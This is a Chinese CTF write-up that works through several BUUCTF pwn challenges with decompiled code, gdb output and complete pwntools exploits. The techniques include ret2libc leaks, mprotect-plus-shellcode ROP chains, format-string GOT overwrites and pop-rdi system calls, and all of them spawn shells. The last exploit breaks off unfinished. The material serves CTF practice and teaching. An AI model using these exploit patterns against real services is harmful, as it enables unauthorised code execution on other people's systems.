buuctf-Writeup
2020/02/23

[OGeek2019]babyrop

检查保护

ios@ubuntu:~/APwn/buuctf$ checksec ogeek-babyrop
[*] '/home/ios/APwn/buuctf/ogeek-babyrop'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

简单运行程序测试后查看ida

int __cdecl main()
{
  int buf; // [esp+4h] [ebp-14h]
  char v2; // [esp+Bh] [ebp-Dh]
  int fd; // [esp+Ch] [ebp-Ch]

  sub_80486BB();
  fd = open("/dev/urandom", 0);
  if ( fd > 0 )
    read(fd, &buf, 4u);
  v2 = sub_804871F(buf);
  sub_80487D0(v2);
  return 0;
}

读取一个随机数 4 size

执行sub_804871F 返回到v2

执行sub_80487D0(v2)

跟进 sub_804871F

int __cdecl sub_804871F(int a1)
{
  size_t v1; // eax
  char s; // [esp+Ch] [ebp-4Ch]
  char buf[7]; // [esp+2Ch] [ebp-2Ch]
  unsigned __int8 v5; // [esp+33h] [ebp-25h]
  ssize_t v6; // [esp+4Ch] [ebp-Ch]

  memset(&s, 0, 0x20u);
  memset(buf, 0, 0x20u);
  sprintf(&s, "%ld", a1);
  v6 = read(0, buf, 0x20u);
  buf[v6 - 1] = 0;
  v1 = strlen(buf);
  if ( strncmp(buf, &s, v1) )
    exit(0);
  write(1, "Correct\n", 8u);
  return v5;
}

首先看v6=用户输入参数

v1=buf的长度

进行str 字符串比较如果不相等就exit

因为strlen遇到\x00会终止

如果将\x00为字符串首位 则strlen的结果为0

所以strncmp(buf, &s, v1)就只会对比长度0位

从而达到绕过

这里要注意会返回一个值v5 而v5为接下来需要的read的size

可以看到 buf+7=v5

我们只需要构造\x00+任意6size的字符+长度 即可

ssize_t __cdecl sub_80487D0(char a1)
{
  ssize_t result; // eax
  char buf; // [esp+11h] [ebp-E7h]

  if ( a1 == 127 )
    result = read(0, &buf, 0xC8u);
  else
    result = read(0, &buf, a1);
  return result;
}

看到 a1可以控制长度 而a1为return的 v5

且整个程序没用到puts函数 而是用到了write

所以 leak是要使用write函数偏移且重新载入main函数

leak addr

from pwn import *
context.log_level='debug'
p=process('./ogeek-babyrop')
elf=ELF('ogeek-babyrop')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
write_got=elf.got['write']
write_plt=elf.sym['write']
p.sendline("\x00"+"a"*6+"\xff")
log.info(p.recvuntil('Correct\n'))# 这里有坑 注意\n
leak = 'A'*0xe7+'b'*4+p32(write_plt)+p32(0x8048825)+p32(1)+p32(write_got)+p32(4)
#构造leak回环
p.send(leak)
write=u32(p.recv(4))
print hex(write)

getshell

getshell就比较容易了

from pwn import *
context.log_level='debug'
p=process('./ogeek-babyrop')
elf=ELF('ogeek-babyrop')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
write_got=elf.got['write']
write_plt=elf.sym['write']
p.sendline("\x00"+"a"*6+"\xff")
log.info(p.recvuntil('Correct\n'))# /
leak = 'A'*0xe7+'b'*4+p32(write_plt)+p32(0x8048825)+p32(1)+p32(write_got)+p32(4)
p.send(leak)
write=u32(p.recv(4))
print hex(write)
p.sendline("\x00"+"a"*6+"\xff")
log.info(p.recvuntil('Correct\n'))# /
system=write-libc.sym['write']+libc.sym['system']
binsh=write-libc.sym['write']+next(libc.search('/bin/sh'))
payload1='A'*0xe7+'b'*4+p32(system)+p32(0x1553155)+p32(binsh)
p.sendline(payload1)
p.interactive()

get_started_3dsctf_2016-Pwn

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+4h] [ebp-38h]

  printf("Qual a palavrinha magica? ", v4);
  gets(&v4);
  return 0;
}

明显的栈溢出

void __cdecl get_flag(int a1, int a2)
{
  int v2; // eax
  int v3; // esi
  unsigned __int8 v4; // al
  int v5; // ecx
  unsigned __int8 v6; // al

  if ( a1 == 0x308CD64F && a2 == 0x195719D1 )
  {
    v2 = fopen("flag.txt", "rt");
    v3 = v2;
    v4 = getc(v2);
    if ( v4 != 255 )
    {
      v5 = (char)v4;
      do
      {
        putchar(v5);
        v6 = getc(v3);
        v5 = (char)v6;
      }
      while ( v6 != 255 );
    }
    fclose(v3);
  }
}

给了个get flag函数

检查保护

[*] '/home/ios/APwn/buuctf/get_started_3dsctf_2016'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

基本getshell思路

1.利用栈溢出跳转到v2 = fopen(“flag.txt”, “rt”); 地址处即可读到flag

2.利用mprotect函数修改程序地址可读可写可执行 布置shellcode getshell

过程一

gdb-peda$ file get_started_3dsctf_2016
Reading symbols from get_started_3dsctf_2016...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x8048a20
gdb-peda$ pattern create 300
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%'
gdb-peda$ r
gdb-peda$ c
 ► f 0 41416341
Program received signal SIGSEGV (fault address 0x41416341)
gdb-peda$ pattern offset 0x41416341
1094804289 found at offset: 56

得到偏移后覆盖ret为 fopen(“flag.txt”, “rt”);地址

from pwn import *

p=process('./get_started_3dsctf_2016')
payload='a'*56+p32(0x80489B8)
p.sendline(payload)
#gdb.attach(p)
p.interactive()

过程二

来自引用https://blog.csdn.net/roland_sun/article/details/33728955\

在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性

#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);

prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:

1)PROT_READ:表示内存段内的内容可写;

2)PROT_WRITE:表示内存段内的内容可读;

3)PROT_EXEC:表示内存段中的内容可执行;

4)PROT_NONE:表示内存段中的内容根本没法访问

利用描述:

Start:需要修改的起始地址

len:该段大小 通过End-Start 可以得到size

prot:设置地址段权限 可读:r 4 可写:w 2 可执行:x 1

在gdb中找一个权限较高的地址

gdb-peda$ vmmap
Start      End        Perm    Name
0x08048000 0x080ea000 r-xp    /home/ios/APwn/buuctf/get_started_3dsctf_2016
0x080ea000 0x080ec000 rw-p    /home/ios/APwn/buuctf/get_started_3dsctf_2016
0x080ec000 0x0810f000 rw-p    [heap]
0xf7ff9000 0xf7ffc000 r--p    [vvar]
0xf7ffc000 0xf7ffe000 r-xp    [vdso]
0xfffdd000 0xffffe000 rw-p    [stack]

选择一段 0x080ea000 0x080ec000 rw-p

利用栈溢出 覆盖ret到mprotect函数+rop_gadget+传递参数修改权限为rwx

from pwn import *

p=process('./get_started_3dsctf_2016')
#gdb.attach(p)
ss=0x080ea000#size=0x2000
mprotect=0x806ec80
main=0x8048a20
pop3=0x080509a5# pop ebx ; pop esi ; pop edi ; ret

payload='a'*56+p32(mprotect)+p32(pop3)+p32(ss)+p32(0x2000)+p32(7)+p32(main)
#rwx 4 2 1
p.sendline(payload)
gdb.attach(p)

修改后

─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
 ► f 0 f7fcbfd9 __kernel_vsyscall+9
   f 1  806e162 __read_nocancel+24
   f 2  8051ab9 _IO_new_file_underflow+265
   f 3  80548ac _IO_default_uflow+44
   f 4  804f749 gets+281
gdb-peda$ vmmap
Start      End        Perm    Name
0x08048000 0x080ea000 r-xp    /home/ios/APwn/buuctf/get_started_3dsctf_2016
0x080ea000 0x080ec000 rwxp    /home/ios/APwn/buuctf/get_started_3dsctf_2016
0x080ec000 0x080ed000 rw-p    mapped
0x08891000 0x088b3000 rw-p    [heap]
0xf7fc8000 0xf7fcb000 r--p    [vvar]
0xf7fcb000 0xf7fcd000 r-xp    [vdso]
0xff90b000 0xff92c000 rw-p    [stack]
gdb-peda$

可以看到成功修改

接着要继续利用rop构造read读入shellcode到0x080ea000 并构造完后返回到0x080ea000 执行shellcode

ss=0x080ea000#size=0x2000
mprotect=0x806ec80
pop3=0x080509a5# pop ebx ; pop esi ; pop edi ; ret
shellcode=asm(shellcraft.sh())
payload='a'*56+p32(mprotect)+p32(pop3)+p32(ss)+p32(0x2000)+p32(7)+p32(read_plt)+p32(pop3)+p32(0)+p32(ss)+p32(0x100)+p32(ss)
#rwx 4 2 1

这里我们一段一段分析payload

payload='a'*56+p32(mprotect)+p32(pop3)+p32(ss)+p32(0x2000)+p32(7)

首先溢出覆盖ret为mprotect函数利用gadget 以堆栈形式pop 传入参数

先传入需要修改权限的地址段 ss

传入ss地址段的长度len

传入权限 rwx=4+2+1=7

0:没有任何权限
4:可读r
2:可写w
1:可执行x
+p32(read_plt)+p32(pop3)+p32(0)+p32(ss)+p32(0x100)+p32(ss)
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

因为上一段gadget为pop pop pop ret 所以

我们ret 到了read 同样传参方式调用read函数

原型

#include <unistd.h>    
ssize_t read(int fd, void *buf, size_t count);
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

fd: 是文件描述符,对应0

buf: 为读出数据的缓冲区

count:为读入的输入长度

最后我们由于使用gadget pop pop pop ret

因为read会将shellcode读入ss地址段

我们需要ret到ss地址段来执行shellcode

exp

from pwn import *

p=process('./get_started_3dsctf_2016')
elf=ELF('get_started_3dsctf_2016')
read_plt=elf.sym['read']

#gdb.attach(p)
ss=0x080ea000#size=0x2000
mprotect=0x806ec80
main=0x8048a20
pop3=0x080509a5# pop ebx ; pop esi ; pop edi ; ret
shellcode=asm(shellcraft.sh())
payload='a'*56+p32(mprotect)+p32(pop3)+p32(ss)+p32(0x2000)+p32(7)+p32(read_plt)+p32(pop3)+p32(0)+p32(ss)+p32(0x100)+p32(ss)
#rwx 4 2 1
p.sendline(payload)
p.sendline(shellcode)
#gdb.attach(p)
p.interactive()

[第五空间2019 决赛]PWN5

检查保护

ios@ubuntu:~/APwn/buuctf$ checksec PWN5
[*] '/home/ios/APwn/buuctf/PWN5'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

简单运行程序

猜测存在字符串格式化漏洞 用来泄漏canary 接着 存在输入所以可能存在溢出

int __cdecl main(int a1)
{
  unsigned int v1; // eax
  int fd; // ST14_4
  int result; // eax
  int v4; // ecx
  unsigned int v5; // et1
  char nptr; // [esp+4h] [ebp-80h]
  char buf; // [esp+14h] [ebp-70h]
  unsigned int v8; // [esp+78h] [ebp-Ch]
  int *v9; // [esp+7Ch] [ebp-8h]

  v9 = &a1;
  v8 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  v1 = time(0);
  srand(v1);
  fd = open("/dev/urandom", 0);
  read(fd, &unk_804C044, 4u);
  printf("your name:");
  read(0, &buf, 0x63u);
  printf("Hello,");
  printf(&buf);
  printf("your passwd:");
  read(0, &nptr, 0xFu);
  if ( atoi(&nptr) == unk_804C044 )
  {
    puts("ok!!");
    system("/bin/sh");
  }
  else
  {
    puts("fail");
  }
  result = 0;
  v5 = __readgsdword(0x14u);
  v4 = v5 ^ v8;
  if ( v5 != v8 )
    sub_80493D0(v4);
  return result;
}

发现read处都不存在溢出

但是 main中给出了system(“/bin/sh”)

以及明显的字符串格式化

我们可以利用字符串格式化修改atoi为system函数地址 接着在第二次read输入“bin/sh” 从而getshell

字符串格式化需要测试偏移

一般利用

AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x

计算偏移

exp

from pwn import *

p=process('PWN5')
elf=ELF('PWN5')
system=elf.plt['system']
atoi=elf.got['atoi']
log.info(p.recvuntil('your name:'))
payload=fmtstr_payload(10,{atoi:system})
p.sendline(payload)
p.sendline('sh')
p.interactive()

在网上看到还有另外一个思路

第五空间2019 决赛]PWN5

因为读入随机数的地址 固定 bss:0x804C044

我们可以修改该地址的随机数为固定值 接着输入相同值即可满足判断 getshell

我们先尝试在0x804C044写入数值

addr=0x804C044
payload=p32(addr)+"%10$n"
def debug(addr = '0x80492A6'):
    raw_input('debug:')
    gdb.attach(p, "b *" + addr)
debug()
p.sendline(payload)

在080492A6处下断检查0x804C044当前值是否固定

00:0000│ esp  0xffae1790 —▸ 0x804a027 ◂— 'your passwd:'
01:00040xffae1794 —▸ 0xffae17b8 —▸ 0x804c044 ◂— 0x4
02:00080xffae1798 ◂— 0x63 /* 'c' */
03:000c│      0xffae179c ◂— 0x0
04:00100xffae17a0 —▸ 0xffae17de ◂— 0xffff0000
05:00140xffae17a4 ◂— 0x3
06:00180xffae17a8 ◂— 0xc2
07:001c│      0xffae17ac —▸ 0xf7e1e6bb (handle_intel+107) ◂— add    esp, 0x10
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
 ► f 0  80492ce
   f 1 f7da6637 __libc_start_main+247
gdb-peda$ x/20wx 0x804C044
0x804c044:    0x00000004    0x00000000    0x00000000    0x00000000
0x804c054:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c064:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c074:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c084:    0x00000000    0x00000000    0x00000000    0x00000000
gdb-peda$

可以看到

当前值被修改为了0x00000004

所以我们在输入pass时输入0x00000004即可getshell

exp

from pwn import *

p=process('PWN5')
#elf=ELF('PWN5')
#system=elf.plt['system']
#atoi=elf.got['atoi']
#log.info(p.recvuntil('your name:'))
#payload=fmtstr_payload(10,{atoi:system})
#p.sendline(payload)
#p.sendline('sh')
#p.interactive()
log.info(p.recvuntil('your name:'))
addr=0x804C044
payload=p32(addr)+"%10$n"
def debug(addr = '0x80492A6'):
    raw_input('debug:')
    gdb.attach(p, "b *" + addr)
debug()
p.sendline(payload)

log.info(p.recvuntil('your passwd:'))
p.sendline(str(0x00000004))
p.interactive()

此payload试了下远程没通 应该是程序权限的原因

我们一字节一字节进行修改

addr=0x804C044
payload=p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)+"%10$hhn%11$hhn%12$hhn%13$hhn"

def debug(addr = '0x80492A6'):
    raw_input('debug:')
    gdb.attach(p, "b *" + addr)
debug()
p.sendline(payload)
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp  0xffe7b120 —▸ 0x804a027 ◂— 'your passwd:'
01:0004│      0xffe7b124 —▸ 0xffe7b148 —▸ 0x804c044 ◂— 0x10101010
02:0008│      0xffe7b128 ◂— 0x63 /* 'c' */
03:000c│      0xffe7b12c ◂— 0x0
04:0010│      0xffe7b130 —▸ 0xffe7b16e ◂— '13$hhn\n'
05:0014│      0xffe7b134 ◂— 0x3
06:0018│      0xffe7b138 ◂— 0xc2
07:001c│      0xffe7b13c —▸ 0xf7db36bb (handle_intel+107) ◂— add    esp, 0x10
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
 ► f 0  80492ce
   f 1 f7d3b637 __libc_start_main+247
gdb-peda$ x/20wx 0x804C044
0x804c044:    0x10101010    0x00000000    0x00000000    0x00000000
0x804c054:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c064:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c074:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c084:    0x00000000    0x00000000    0x00000000    0x00000000
gdb-peda$ 

<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

看到当前0x804c044值为0x10101010

所以我们输入pass为0x10101010 即可getshell

exp

from pwn import *
p=remote('node3.buuoj.cn',28184)
#p=process('PWN5')
#elf=ELF('PWN5')
#system=elf.plt['system']
#atoi=elf.got['atoi']
#log.info(p.recvuntil('your name:'))
#payload=fmtstr_payload(10,{atoi:system})
#p.sendline(payload)
#p.sendline('sh')
#p.interactive()
log.info(p.recvuntil('your name:'))
addr=0x804C044
payload=p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)+"%10$hhn%11$hhn%12$hhn%13$hhn"
def debug(addr = '0x80492A6'):
    raw_input('debug:')
    gdb.attach(p, "b *" + addr)
debug()

p.sendline(payload)
log.info(p.recvuntil('your passwd:'))
p.sendline(str(0x10101010))
p.interactive()

ciscn_2019_n_8

题目不难

我的f5解析的有问题

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp-14h] [ebp-20h]
  int v5; // [esp-10h] [ebp-1Ch]

  var[13] = 0;
  var[14] = 0;
  init();
  puts("What's your name?");
  __isoc99_scanf((int)"%s", (int)var, v4, v5);
  if ( *(_QWORD *)&var[13] )
  {
    if ( *(_QWORD *)&var[13] == 0x11)
      system("/bin/sh");
    else
      printf(
        "something wrong! val is %d",
        var[0],
        var[1],
        var[2],
        var[3],
        var[4],
        var[5],
        var[6],
        var[7],
        var[8],
        var[9],
        var[10],
        var[11],
        var[12],
        var[13],
        var[14]);
  }
  else
  {
    printf("%s, Welcome!\n", var);
    puts("Try do something~");
  }
  return 0;
}

查看 scanf读入字符串存入var处

这里f5处的条件为 var的14位要存在且第14位的值为0x11(从0位开始计算)

通过Ghidra解析


/* WARNING: Function: __x86.get_pc_thunk.bx replaced with injection: get_pc_thunk_bx */

undefined4 main(void)

{
  int iVar1;
  undefined4 uVar2;
  int in_GS_OFFSET;
  EVP_PKEY_CTX *ctx;

  iVar1 = *(int *)(in_GS_OFFSET + 0x14);
  var._52_4_ = 0;
  var._56_4_ = 0;
  init(ctx);
  puts("What\'s your name?");
  __isoc99_scanf(&DAT_0001201a,var);
  if ((var._52_4_ | var._56_4_) == 0) {
    printf("%s, Welcome!\n",var);
    puts("Try do something~");
  }
  else {
    if ((var._52_4_ ^ 0x11 | var._56_4_) == 0) {
      system("/bin/sh");
    }
    else {
      printf("something wrong! val is %d",var._0_4_,var._4_4_,var._8_4_,var._12_4_,var._16_4_,
             var._20_4_,var._24_4_,var._28_4_,var._32_4_,var._36_4_,var._40_4_,var._44_4_,var._48_4_
             ,var._52_4_,var._56_4_);
    }
  }
  uVar2 = 0;
  if (iVar1 != *(int *)(in_GS_OFFSET + 0x14)) {
    uVar2 = __stack_chk_fail_local();
  }
  return uVar2;
}

if ((var._52_4_ ^ 0x11 | var._56_4_) == 0)

对比分析 可以知道第十四位其实为输入的第53位(从0计算到52)

所以可以得到exp

from pwn import *
context.log_level = 'debug' 
p=process('./ciscn_2019_n_8')
payload='a'*52+p32(0x11)
print "payload:"+str(payload)
log.info(p.recvuntil("What's your name?"))
p.sendline(payload)
p.interactive()

not_the_same_3dsctf_2016

checksec

ios@ubuntu:~/APwn/buuctf$ checksec not_the_same_3dsctf_2016
[*] '/home/ios/APwn/buuctf/not_the_same_3dsctf_2016'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
ios@ubuntu:~/APwn/buuctf$

查看下代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+Fh] [ebp-2Dh]

  printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
  gets(&v4);
  return 0;
}

函数很简单 给了gets 存在栈溢出

这里我使用了之前题目的方法

使用 mprotect() 修改一块地址段权限为可读可写可执行

接着rop构造read 在该地址段写入shellcode 从而getshell

如果还是没弄明白的可以参考上文

exp

from pwn import *
context.log_level='debug'
p=process('./not_the_same_3dsctf_2016')
elf=ELF('not_the_same_3dsctf_2016')
read_plt=elf.sym['read']
ss=0x080ea000
mprotect=0x806ED40
pop3=0x0804f420# pop ebx ; pop esi ; pop ebp ; ret
shellcode=asm(shellcraft.sh())
payload='a'*45+p32(mprotect)+p32(pop3)+p32(0x080ea000)+p32(0x2000)+p32(7)+p32(read_plt)+p32(pop3)+p32(0)+p32(ss)+p32(0x100)+p32(ss)
#gdb.attach(p, "b *" + "0x80489E0")
p.sendline(payload)
p.sendline(shellcode)
p.interactive()

[HarekazeCTF2019]baby_rop

###

检查保护

ios@ubuntu:~/APwn/buuctf$ checksec HarekazeCTF2019_babyrop
[*] '/home/ios/APwn/buuctf/HarekazeCTF2019_babyrop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
ios@ubuntu:~/APwn/buuctf$

查看代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-10h]

  system("echo -n \"What's your name? \"");
  __isoc99_scanf("%s", &v4);
  printf("Welcome to the Pwn World, %s!\n", &v4);
  return 0;
}

只开了nx且存在栈溢出

发现给了system函数

shift+f12搜索字符串

.data:0000000000601048    00000008    C    /bin/sh
LOAD:0000000000400238    0000001C    C    /lib64/ld-linux-x86-64.so.2
.eh_frame:0000000000400787    00000006    C    ;*3$\"
LOAD:000000000040039B    0000000C    C    GLIBC_2.2.5
LOAD:0000000000400391    0000000A    C    GLIBC_2.7
.rodata:00000000004006C8    0000001F    C    Welcome to the Pwn World, %s!\n
LOAD:0000000000400382    0000000F    C    __gmon_start__
LOAD:0000000000400353    0000000F    C    __isoc99_scanf
LOAD:0000000000400370    00000012    C    __libc_start_main
.rodata:00000000004006A8    0000001D    C    echo -n \"What's your name? \"
LOAD:0000000000400349    0000000A    C    libc.so.6
LOAD:0000000000400362    00000007    C    printf
LOAD:0000000000400369    00000007    C    system

看到也给了/bin/sh 那就很简单了

找一个gadget pop rdi ret。传sh地址 接着ret到system就可以起shell了

exp

from pwn import *

p=process('HarekazeCTF2019_babyrop')
pop_rdi=0x0000000000400683 # pop rdi ; ret
payload="a"*0x10+'b'*8+p64(pop_rdi)+p64(0x601048)+p64(0x400490)
p.sendline(payload)
p.interactive()

ciscn_2019_s_3

检查保护

ios@ubuntu:~/APwn/buuctf$ checksec ciscn_2019_s_3
[*] '/home/ios/APwn/buuctf/ciscn_2019_s_3'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
ios@ubuntu:~/APwn/buuctf$

查看源代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  return vuln();
}

main调用vuln

signed __int64 vuln()
{
  signed __int64 result; // rax

  __asm { syscall; LINUX - sys_read }
  result = 1LL;
  __asm { syscall; LINUX - sys_write }
  return result;
}

汇编 执行syscall 调用系统号 read 接着执行syscall 调用系统号 write

而64位执行syscall时 系统号存入rax

.text:00000000004004ED ; __unwind {
.text:00000000004004ED                 push    rbp
.text:00000000004004EE                 mov     rbp, rsp
.text:00000000004004F1                 xor     rax, rax
.text:00000000004004F4                 mov     edx, 400h       ; count
.text:00000000004004F9                 lea     rsi, [rsp+buf]  ; buf
.text:00000000004004FE                 mov     rdi, rax        ; fd
.text:0000000000400501                 syscall                 ; LINUX - sys_read
.text:0000000000400503                 mov     rax, 1
.text:000000000040050A                 mov     edx, 30h        ; count
.text:000000000040050F                 lea     rsi, [rsp+buf]  ; buf
.text:0000000000400514                 mov     rdi, rax        ; fd
.text:0000000000400517                 syscall                 ; LINUX - sys_write
.text:0000000000400519                 retn

看汇编可以知道 xor 这里将rax值变为0

查系统调用

1

0在64位中为系统调用read

继续看代码

.text:0000000000400503                 mov     rax, 1

这里rax=1 查系统调用

QQ20200226-191102@2x

和f5编译过来一致

接着debug测试read 找是否存在溢出

[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400519 in vuln ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
 RAX  0x30
 RBX  0x0
 RCX  0x400519 (vuln+44) ◂— ret    
 RDX  0x30
 RDI  0x1
 RSI  0x7fffffffdcf0 ◂— 0x4173414125414141 ('AAA%AAsA')
 R8   0x4005b0 (__libc_csu_fini) ◂— ret    
 R9   0x7ffff7de7ac0 (_dl_fini) ◂— push   rbp
 R10  0x846
 R11  0x246
 R12  0x4003e0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffde00 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdd00 ◂— 0x41412d4141434141 ('AACAA-AA')
 RSP  0x7fffffffdd00 ◂— 0x41412d4141434141 ('AACAA-AA')
 RIP  0x400519 (vuln+44) ◂— ret    
───────────────────────────────────[ DISASM ]───────────────────────────────────
 ► 0x400519     ret    <0x41412d4141434141>










───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rbp rsp  0x7fffffffdd00 ◂— 0x41412d4141434141 ('AACAA-AA')
01:0008│          0x7fffffffdd08 ◂— 0x413b414144414128 ('(AADAA;A')
02:0010│          0x7fffffffdd10 ◂— 0x6141414541412941 ('A)AAEAAa')
03:0018│          0x7fffffffdd18 ◂— 0x4141464141304141 ('AA0AAFAA')
04:0020│          0x7fffffffdd20 ◂— 0x4147414131414162 ('bAA1AAGA')
05:0028│          0x7fffffffdd28 ◂— 0x4841413241416341 ('AcAA2AAH')
06:0030│          0x7fffffffdd30 ◂— 0x4141334141644141 ('AAdAA3AA')
07:0038│          0x7fffffffdd38 ◂— 0x4134414165414149 ('IAAeAA4A')
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
 ► f 0           400519 vuln+44
   f 1 41412d4141434141
   f 2 413b414144414128
   f 3 6141414541412941
   f 4 4141464141304141
   f 5 4147414131414162
   f 6 4841413241416341
   f 7 4141334141644141
   f 8 4134414165414149
   f 9 3541416641414a41
   f 10 41416741414b4141
Program received signal SIGSEGV (fault address 0x0)
gdb-peda$ pattern offset 0x41412d4141434141
4702089244242559297 found at offset: 16
gdb-peda$

得到存在溢出 偏移为16

.text:00000000004004D6                 public gadgets
.text:00000000004004D6 gadgets         proc near
.text:00000000004004D6 ; __unwind {
.text:00000000004004D6                 push    rbp
.text:00000000004004D7                 mov     rbp, rsp
.text:00000000004004DA                 mov     rax, 0Fh
.text:00000000004004E1                 retn
.text:00000000004004E1 gadgets         endp ; sp-analysis failed
.text:00000000004004E1
.text:00000000004004E2 ; ---------------------------------------------------------------------------
.text:00000000004004E2                 mov     rax, 3Bh
.text:00000000004004E9                 retn

题目中给出一函数gadget 查看汇编可以发现有两段调用号

rax=0xf、rax=0x3B

QQ20200226-192018@2x

QQ20200226-192032@2x

得到两个系统调用 rt_sigreturn和execve

给了两个系统调用 我们采用execve调用来执行binsh

函数的原型:

int execve(const char *filename, char *const argv[], char *const envp[]);

我们需要完成构造execve(‘bin/sh’,0,0)

64位中我们可以采用通用gadget进行rop

__libc_csu_init

.text:0000000000400580 loc_400580:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400580                 mov     rdx, r13
.text:0000000000400583                 mov     rsi, r14
.text:0000000000400586                 mov     edi, r15d
.text:0000000000400589                 call    qword ptr [r12+rbx*8]
.text:000000000040058D                 add     rbx, 1
.text:0000000000400591                 cmp     rbx, rbp
.text:0000000000400594                 jnz     short loc_400580
.text:0000000000400596
.text:0000000000400596 loc_400596:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400596                 add     rsp, 8
.text:000000000040059A                 pop     rbx
.text:000000000040059B                 pop     rbp
.text:000000000040059C                 pop     r12
.text:000000000040059E                 pop     r13
.text:00000000004005A0                 pop     r14
.text:00000000004005A2                 pop     r15
.text:00000000004005A4                 retn

此处有三段gadget

gadget1

.text:000000000040059A                 pop     rbx
.text:000000000040059B                 pop     rbp
.text:000000000040059C                 pop     r12
.text:000000000040059E                 pop     r13
.text:00000000004005A0                 pop     r14
.text:00000000004005A2                 pop     r15
.text:00000000004005A4                 retn

ret后接gadget2

.text:0000000000400580                 mov     rdx, r13
.text:0000000000400583                 mov     rsi, r14
.text:0000000000400586                 mov     edi, r15d
.text:0000000000400589                 call    qword ptr [r12+rbx*8]
.text:000000000040058D                 add     rbx, 1
.text:0000000000400591                 cmp     rbx, rbp
.text:0000000000400594                 jnz     short loc_400580

方便getshell的gadget3

.text:00000000004005A3                 分割pop r15 可以得到 pop rdi

本题有区别的地方是 如果使rbp=1 在执行完gadget2后填充56字节到ret是不可行的,填充后会溢出stack 无法构造rop

首先需要确定输入binsh后的地址

在执行syscall前下断 可以找到对应栈地址

QQ20200227-104308@2x

接着查看write的输出

QQ20200227-104535@2x

看到这里有打印出栈中地址 通过多次debug 确定该地址距离binsh偏移固定

gdb-peda$ p/x 0x7ffc6ae754b8- 0x7ffc6ae753a0
$1 = 0x118
gdb-peda$

所以第一次溢出主要目的写入 binsh以及leak写入地址 控制ret重新载入vuln

gdb.attach(p, "b *" + str(vuln))
payload1="/bin/sh\x00"*2+p64(vuln)
print len(payload1)
p.send(payload1)
base=u64(p.recv()[32:40])
print hex(base)
sh_addr=base-0x118

第二次则需要利用三段gadget进行参数控制 构造execve(‘bin/sh’,0,0)

这里也需要注意 如果rbp=0 时 gadget2 中会满足jnz跳转 跳转后再次执行gadget2

且第一次执行时会call r12,再次跳转会执行payload中gadget2的下一位地址

之后调用gadget3 rdi赋值为sh地址 ret syscall 即可getshell

留个小坑 后面继续搞

exp

from pwn import *
context.log_level='debug'
p=process('./ciscn_2019_s_3')
#define __NR_rt_sigreturn 15
sigreturn=0x4004DA# mov     rax, 0Fh
#define __NR_execve 59
execve=0x4004E2# mov     rax, 3Bh
